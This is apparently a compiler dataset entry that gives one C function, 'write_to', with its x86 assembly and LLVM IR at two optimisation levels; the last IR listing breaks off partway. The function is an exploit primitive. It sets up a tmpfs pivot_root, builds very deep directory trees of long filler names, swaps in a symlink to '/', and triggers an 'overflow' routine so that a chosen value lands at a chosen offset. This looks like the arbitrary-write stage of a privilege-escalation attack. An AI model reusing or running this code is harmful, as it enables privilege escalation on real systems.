#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ MNT_DETACH;
int /*<<< orphan*/ SYS_pivot_root;
int /*<<< orphan*/ chdir(char *);
int /*<<< orphan*/ check(int /*<<< orphan*/, char *);
int /*<<< orphan*/ mkdir(char *, int);
int /*<<< orphan*/ mount(char *, char *, char *, int /*<<< orphan*/,
                         int /*<<< orphan*/ *);
int /*<<< orphan*/ overflow(char *, char *);
int /*<<< orphan*/ printf(char *, unsigned long long, int);
int /*<<< orphan*/ strcat(char *, char *);
int /*<<< orphan*/ symlink(char *, char *);
int /*<<< orphan*/ syscall(int /*<<< orphan*/, char *, char *);
int /*<<< orphan*/ umount2(char *, int /*<<< orphan*/);
int /*<<< orphan*/ unlink(char *);
void write_to(int off, unsigned long long val) {
  printf("writing 0x%llx at off %d\n", val, off);
  check(mkdir("/newroot", 0700), "mkdir");
  check(mount("", "/newroot", "tmpfs", 0, NULL), "mount");
  check(syscall(SYS_pivot_root, "/newroot", "/newroot"), "pivot_root");
  check(umount2("/", MNT_DETACH), "umount(/)");
  check(chdir("/"), "chdir");
  for (int i = 0; i < 128; i++) {
    check(
        mkdir(
            "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
            "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
            0700),
        "mkdir");
    check(
        chdir(
            "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
            "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"),
        "chdir");
  }
  check(chdir("/"), "chdir");
  char filename[4096] = "";
  for (int i = 0; i < 15; i++) {
    strcat(filename,
           "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
           "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
           "/");
  }
  strcat(filename, "x");
  overflow("foo", filename);
  for (int i = 0; i < 15; i++) {
    check(
        chdir(
            "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
            "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"),
        "chdir");
  }
  check(unlink("x"), "unlink");
  check(symlink("/", "x"), "symlink");
  strcat(filename, "y");
  check(chdir("/"), "chdir");
  for (int i = 0; i < 128; i++) {
    check(
        mkdir(
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
            0700),
        "mkdir");
    check(
        chdir(
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"),
        "chdir");
  }
  for (int i = 0; i < off; i++) {
    strcat(filename, "B");
  }
  strcat(filename, (char *)&val);
  overflow("foo", filename);
}


x86 assembly (clang, -O0):
<write_to>:
push   %rbp
mov    %rsp,%rbp
sub    $0x1030,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x10(%rbp),%rsi
mov    -0x4(%rbp),%edx
lea    0xe20(%rip),%rdi
call   1080 <printf@plt>
lea    0xe2e(%rip),%rdi
mov    $0x1c0,%esi
call   1040 <mkdir@plt>
mov    %eax,%edi
lea    0xe24(%rip),%rsi
call   10d0 <check@plt>
lea    0xe0e(%rip),%rdi
lea    0xe08(%rip),%rsi
lea    0xe10(%rip),%rdx
xor    %ecx,%ecx
xor    %eax,%eax
mov    %eax,%r8d
call   1060 <mount@plt>
mov    %eax,%edi
lea    0xe01(%rip),%rsi
call   10d0 <check@plt>
mov    0x2d9e(%rip),%rax
mov    (%rax),%edi
lea    0xdd7(%rip),%rdx
mov    %rdx,%rsi
call   10c0 <syscall@plt>
mov    %eax,%edi
lea    0xde1(%rip),%rsi
call   10d0 <check@plt>
mov    0x2d80(%rip),%rax
mov    (%rax),%esi
lea    0xee8(%rip),%rdi
call   1050 <umount2@plt>
mov    %eax,%edi
lea    0xdc9(%rip),%rsi
call   10d0 <check@plt>
lea    0xece(%rip),%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
lea    0xdb9(%rip),%rsi
call   10d0 <check@plt>
movl   $0x0,-0x14(%rbp)
cmpl   $0x80,-0x14(%rbp)
jge    12f1 <write_to+0x131>
lea    0xd9f(%rip),%rdi
mov    $0x1c0,%esi
call   1040 <mkdir@plt>
mov    %eax,%edi
lea    0xd5f(%rip),%rsi
call   10d0 <check@plt>
lea    0xd80(%rip),%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
lea    0xd6c(%rip),%rsi
call   10d0 <check@plt>
mov    -0x14(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x14(%rbp)
jmp    129d <write_to+0xdd>
lea    0xe59(%rip),%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
lea    0xd44(%rip),%rsi
call   10d0 <check@plt>
lea    -0x1020(%rbp),%rdi
xor    %esi,%esi
mov    $0x1000,%edx
call   10a0 <memset@plt>
movl   $0x0,-0x1024(%rbp)
cmpl   $0xf,-0x1024(%rbp)
jge    135c <write_to+0x19c>
lea    -0x1020(%rbp),%rdi
lea    0xd8e(%rip),%rsi
call   10e0 <strcat@plt>
mov    -0x1024(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x1024(%rbp)
jmp    1328 <write_to+0x168>
lea    -0x1020(%rbp),%rdi
lea    0xde9(%rip),%rsi
call   10e0 <strcat@plt>
lea    -0x1020(%rbp),%rsi
lea    0xdd8(%rip),%rdi
call   10b0 <overflow@plt>
movl   $0x0,-0x1028(%rbp)
cmpl   $0xf,-0x1028(%rbp)
jge    13c7 <write_to+0x207>
lea    0xcb0(%rip),%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
lea    0xc9c(%rip),%rsi
call   10d0 <check@plt>
mov    -0x1028(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x1028(%rbp)
jmp    138c <write_to+0x1cc>
lea    0xd85(%rip),%rdi
call   1030 <unlink@plt>
mov    %eax,%edi
lea    0xd7d(%rip),%rsi
call   10d0 <check@plt>
lea    0xd69(%rip),%rdi
lea    0xd64(%rip),%rsi
call   1090 <symlink@plt>
mov    %eax,%edi
lea    0xd63(%rip),%rsi
call   10d0 <check@plt>
lea    -0x1020(%rbp),%rdi
lea    0xd58(%rip),%rsi
call   10e0 <strcat@plt>
lea    0xd35(%rip),%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
lea    0xc20(%rip),%rsi
call   10d0 <check@plt>
movl   $0x0,-0x102c(%rbp)
cmpl   $0x80,-0x102c(%rbp)
jge    1496 <write_to+0x2d6>
lea    0xd1a(%rip),%rdi
mov    $0x1c0,%esi
call   1040 <mkdir@plt>
mov    %eax,%edi
lea    0xbc0(%rip),%rsi
call   10d0 <check@plt>
lea    0xcfb(%rip),%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
lea    0xbcd(%rip),%rsi
call   10d0 <check@plt>
mov    -0x102c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x102c(%rbp)
jmp    1439 <write_to+0x279>
movl   $0x0,-0x1030(%rbp)
mov    -0x1030(%rbp),%eax
cmp    -0x4(%rbp),%eax
jge    14d6 <write_to+0x316>
lea    -0x1020(%rbp),%rdi
lea    0xc12(%rip),%rsi
call   10e0 <strcat@plt>
mov    -0x1030(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x1030(%rbp)
jmp    14a0 <write_to+0x2e0>
lea    -0x1020(%rbp),%rdi
lea    -0x10(%rbp),%rsi
call   10e0 <strcat@plt>
lea    -0x1020(%rbp),%rsi
lea    0xc61(%rip),%rdi
call   10b0 <overflow@plt>
add    $0x1030,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<write_to>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x1018,%rsp
mov    %edi,%r13d
mov    %rsi,0x8(%rsp)
lea    0xe20(%rip),%rdi
mov    %r13d,%edx
call   1080 <printf@plt>
lea    0xe2b(%rip),%r14
mov    %r14,%rdi
mov    $0x1c0,%esi
call   1040 <mkdir@plt>
lea    0xe20(%rip),%r15
mov    %eax,%edi
mov    %r15,%rsi
call   10d0 <check@plt>
lea    0xe05(%rip),%rdi
lea    0xe0e(%rip),%rdx
mov    %r14,%rsi
xor    %ecx,%ecx
xor    %r8d,%r8d
call   1060 <mount@plt>
lea    0xe00(%rip),%rsi
mov    %eax,%edi
call   10d0 <check@plt>
mov    0x2d9b(%rip),%rax
mov    (%rax),%edi
mov    %r14,%rsi
mov    %r14,%rdx
call   10c0 <syscall@plt>
lea    0xde4(%rip),%rsi
mov    %eax,%edi
call   10d0 <check@plt>
mov    0x2d81(%rip),%rax
mov    (%rax),%esi
lea    0xee9(%rip),%rbx
mov    %rbx,%rdi
call   1050 <umount2@plt>
lea    0xdc9(%rip),%rsi
mov    %eax,%edi
call   10d0 <check@plt>
mov    %rbx,%rdi
call   1070 <chdir@plt>
lea    0xdbd(%rip),%r14
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    $0x80,%ebp
lea    0xdad(%rip),%rbx
cs nopw 0x0(%rax,%rax,1)
nopl   (%rax)
mov    %rbx,%rdi
mov    $0x1c0,%esi
call   1040 <mkdir@plt>
mov    %eax,%edi
mov    %r15,%rsi
call   10d0 <check@plt>
mov    %rbx,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
add    $0xffffffff,%ebp
jne    12b0 <write_to+0xf0>
lea    0xe6c(%rip),%r15
mov    %r15,%rdi
call   1070 <chdir@plt>
lea    0xd56(%rip),%r14
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
lea    0x10(%rsp),%r12
mov    $0x1000,%edx
mov    %r12,%rdi
xor    %esi,%esi
call   10a0 <memset@plt>
lea    0xdb8(%rip),%rbp
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
mov    %r12,%rdi
mov    %rbp,%rsi
call   10e0 <strcat@plt>
lea    0xd8e(%rip),%rbx
mov    %r12,%rdi
mov    %rbx,%rsi
call   10e0 <strcat@plt>
lea    0xd7e(%rip),%rdi
mov    %r12,%rsi
call   10b0 <overflow@plt>
lea    0xc6a(%rip),%rbp
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    %rbx,%rdi
call   1030 <unlink@plt>
lea    0xc56(%rip),%rsi
mov    %eax,%edi
call   10d0 <check@plt>
mov    %r15,%rdi
mov    %rbx,%rsi
call   1090 <symlink@plt>
lea    0xc44(%rip),%rsi
mov    %eax,%edi
call   10d0 <check@plt>
lea    0xc3e(%rip),%rsi
mov    %r12,%rdi
call   10e0 <strcat@plt>
mov    %r15,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
mov    $0x80,%ebx
lea    0xc1a(%rip),%rbp
lea    0xacc(%rip),%r15
nopw   0x0(%rax,%rax,1)
mov    %rbp,%rdi
mov    $0x1c0,%esi
call   1040 <mkdir@plt>
mov    %eax,%edi
mov    %r15,%rsi
call   10d0 <check@plt>
mov    %rbp,%rdi
call   1070 <chdir@plt>
mov    %eax,%edi
mov    %r14,%rsi
call   10d0 <check@plt>
add    $0xffffffff,%ebx
jne    1560 <write_to+0x3a0>
test   %r13d,%r13d
jle    15b1 <write_to+0x3f1>
lea    0xb35(%rip),%rbx
lea    0x10(%rsp),%rbp
nop
mov    %rbp,%rdi
mov    %rbx,%rsi
call   10e0 <strcat@plt>
add    $0xffffffff,%r13d
jne    15a0 <write_to+0x3e0>
lea    0x10(%rsp),%rbx
lea    0x8(%rsp),%rsi
mov    %rbx,%rdi
call   10e0 <strcat@plt>
lea    0xb8b(%rip),%rdi
mov    %rbx,%rsi
call   10b0 <overflow@plt>
add    $0x1018,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@.str = [26 x i8] c"writing 0x%llx at off %d\0A\00"
@.str.1 = [9 x i8] c"/newroot\00"
@.str.2 = [6 x i8] c"mkdir\00"
@.str.3 = [1 x i8] zeroinitializer
@.str.4 = [6 x i8] c"tmpfs\00"
@.str.5 = [6 x i8] c"mount\00"
@SYS_pivot_root = global i32 0
@.str.6 = [11 x i8] c"pivot_root\00"
@.str.7 = [2 x i8] c"/\00"
@MNT_DETACH = global i32 0
@.str.8 = [10 x i8] c"umount(/)\00"
@.str.9 = [6 x i8] c"chdir\00"
@.str.10 = [129 x i8] c"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\00"
@.str.11 = [130 x i8] c"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB/\00"
@.str.12 = [2 x i8] c"x\00"
@.str.13 = [4 x i8] c"foo\00"
@.str.14 = [7 x i8] c"unlink\00"
@.str.15 = [8 x i8] c"symlink\00"
@.str.16 = [2 x i8] c"y\00"
@.str.17 = [129 x i8] c"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\00"
@.str.18 = [2 x i8] c"B\00"
define void @write_to(i32 %0, i64 %1) {
%3 = alloca i32
%4 = alloca i64
%5 = alloca i32
%6 = alloca [4096 x i8]
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
store i32 %0, i32* %3
store i64 %1, i64* %4
%11 = load i64, i64* %4
%12 = load i32, i32* %3
%13 = call i32 @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i64 %11, i32 %12)
%14 = call i32 @mkdir(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0), i32 448)
%15 = call i32 @check(i32 %14, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i64 0, i64 0))
%16 = call i32 @mount(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.4, i64 0, i64 0), i32 0, i32* null)
%17 = call i32 @check(i32 %16, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.5, i64 0, i64 0))
%18 = load i32, i32* @SYS_pivot_root
%19 = call i32 @syscall(i32 %18, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0))
%20 = call i32 @check(i32 %19, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.6, i64 0, i64 0))
%21 = load i32, i32* @MNT_DETACH
%22 = call i32 @umount2(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i32 %21)
%23 = call i32 @check(i32 %22, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.8, i64 0, i64 0))
%24 = call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%25 = call i32 @check(i32 %24, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
store i32 0, i32* %5
br label %26
26: ; preds = %34, %2
%27 = load i32, i32* %5
%28 = icmp slt i32 %27, 128
br i1 %28, label %29, label %37
29: ; preds = %26
%30 = call i32 @mkdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0), i32 448)
%31 = call i32 @check(i32 %30, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i64 0, i64 0))
%32 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%33 = call i32 @check(i32 %32, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
br label %34
34: ; preds = %29
%35 = load i32, i32* %5
%36 = add nsw i32 %35, 1
store i32 %36, i32* %5
br label %26
37: ; preds = %26
%38 = call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%39 = call i32 @check(i32 %38, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%40 = bitcast [4096 x i8]* %6 to i8*
store i32 0, i32* %7
br label %41
41: ; preds = %47, %37
%42 = load i32, i32* %7
%43 = icmp slt i32 %42, 15
br i1 %43, label %44, label %50
44: ; preds = %41
%45 = getelementptr inbounds [4096 x i8], [4096 x i8]* %6, i64 0, i64 0
%46 = call i32 @strcat(i8* %45, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
br label %47
47: ; preds = %44
%48 = load i32, i32* %7
%49 = add nsw i32 %48, 1
store i32 %49, i32* %7
br label %41
50: ; preds = %41
%51 = getelementptr inbounds [4096 x i8], [4096 x i8]* %6, i64 0, i64 0
%52 = call i32 @strcat(i8* %51, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.12, i64 0, i64 0))
%53 = getelementptr inbounds [4096 x i8], [4096 x i8]* %6, i64 0, i64 0
%54 = call i32 @overflow(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.13, i64 0, i64 0), i8* %53)
store i32 0, i32* %8
br label %55
55: ; preds = %61, %50
%56 = load i32, i32* %8
%57 = icmp slt i32 %56, 15
br i1 %57, label %58, label %64
58: ; preds = %55
%59 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.10, i64 0, i64 0))
%60 = call i32 @check(i32 %59, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
br label %61
61: ; preds = %58
%62 = load i32, i32* %8
%63 = add nsw i32 %62, 1
store i32 %63, i32* %8
br label %55
64: ; preds = %55
%65 = call i32 @unlink(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.12, i64 0, i64 0))
%66 = call i32 @check(i32 %65, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.14, i64 0, i64 0))
%67 = call i32 @symlink(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.12, i64 0, i64 0))
%68 = call i32 @check(i32 %67, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.15, i64 0, i64 0))
%69 = getelementptr inbounds [4096 x i8], [4096 x i8]* %6, i64 0, i64 0
%70 = call i32 @strcat(i8* %69, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.16, i64 0, i64 0))
%71 = call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%72 = call i32 @check(i32 %71, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
store i32 0, i32* %9
br label %73
73: ; preds = %81, %64
%74 = load i32, i32* %9
%75 = icmp slt i32 %74, 128
br i1 %75, label %76, label %84
76: ; preds = %73
%77 = call i32 @mkdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.17, i64 0, i64 0), i32 448)
%78 = call i32 @check(i32 %77, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i64 0, i64 0))
%79 = call i32 @chdir(i8* getelementptr inbounds ([129 x i8], [129 x i8]* @.str.17, i64 0, i64 0))
%80 = call i32 @check(i32 %79, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
br label %81
81: ; preds = %76
%82 = load i32, i32* %9
%83 = add nsw i32 %82, 1
store i32 %83, i32* %9
br label %73
84: ; preds = %73
store i32 0, i32* %10
br label %85
85: ; preds = %92, %84
%86 = load i32, i32* %10
%87 = load i32, i32* %3
%88 = icmp slt i32 %86, %87
br i1 %88, label %89, label %95
89: ; preds = %85
%90 = getelementptr inbounds [4096 x i8], [4096 x i8]* %6, i64 0, i64 0
%91 = call i32 @strcat(i8* %90, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.18, i64 0, i64 0))
br label %92
92: ; preds = %89
%93 = load i32, i32* %10
%94 = add nsw i32 %93, 1
store i32 %94, i32* %10
br label %85
95: ; preds = %85
%96 = getelementptr inbounds [4096 x i8], [4096 x i8]* %6, i64 0, i64 0
%97 = bitcast i64* %4 to i8*
%98 = call i32 @strcat(i8* %96, i8* %97)
%99 = getelementptr inbounds [4096 x i8], [4096 x i8]* %6, i64 0, i64 0
%100 = call i32 @overflow(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.13, i64 0, i64 0), i8* %99)
ret void
}

LLVM IR (-O2):
@.str = [26 x i8] c"writing 0x%llx at off %d\0A\00"
@.str.1 = [9 x i8] c"/newroot\00"
@.str.2 = [6 x i8] c"mkdir\00"
@.str.3 = [1 x i8] zeroinitializer
@.str.4 = [6 x i8] c"tmpfs\00"
@.str.5 = [6 x i8] c"mount\00"
@SYS_pivot_root = global i32 0
@.str.6 = [11 x i8] c"pivot_root\00"
@.str.7 = [2 x i8] c"/\00"
@MNT_DETACH = global i32 0
@.str.8 = [10 x i8] c"umount(/)\00"
@.str.9 = [6 x i8] c"chdir\00"
@.str.10 = [129 x i8] c"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\00"
@.str.11 = [130 x i8] c"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB/\00"
@.str.12 = [2 x i8] c"x\00"
@.str.13 = [4 x i8] c"foo\00"
@.str.14 = [7 x i8] c"unlink\00"
@.str.15 = [8 x i8] c"symlink\00"
@.str.16 = [2 x i8] c"y\00"
@.str.17 = [129 x i8] c"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\00"
@.str.18 = [2 x i8] c"B\00"
define void @write_to(i32 %0, i64 %1) {
%3 = alloca i64
%4 = alloca [4096 x i8]
store i64 %1, i64* %3
%5 = tail call i32 @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i64 %1, i32 %0)
%6 = tail call i32 @mkdir(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0), i32 448)
%7 = tail call i32 @check(i32 %6, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i64 0, i64 0))
%8 = tail call i32 @mount(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.4, i64 0, i64 0), i32 0, i32* null)
%9 = tail call i32 @check(i32 %8, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.5, i64 0, i64 0))
%10 = load i32, i32* @SYS_pivot_root
%11 = tail call i32 @syscall(i32 %10, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0))
%12 = tail call i32 @check(i32 %11, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.6, i64 0, i64 0))
%13 = load i32, i32* @MNT_DETACH
%14 = tail call i32 @umount2(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i32 %13)
%15 = tail call i32 @check(i32 %14, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.8, i64 0, i64 0))
%16 = tail call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%17 = tail call i32 @check(i32 %16, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
br label %76
18: ; preds = %76
%19 = tail call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%20 = tail call i32 @check(i32 %19, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0))
%21 = getelementptr inbounds [4096 x i8], [4096 x i8]* %4, i64 0, i64 0
%22 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%23 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%24 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%25 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%26 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%27 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
%28 = call i32 @strcat(i8* %21, i8* getelementptr inbounds ([130 x i8], [130 x i8]* @.str.11, i64 0, i64 0))
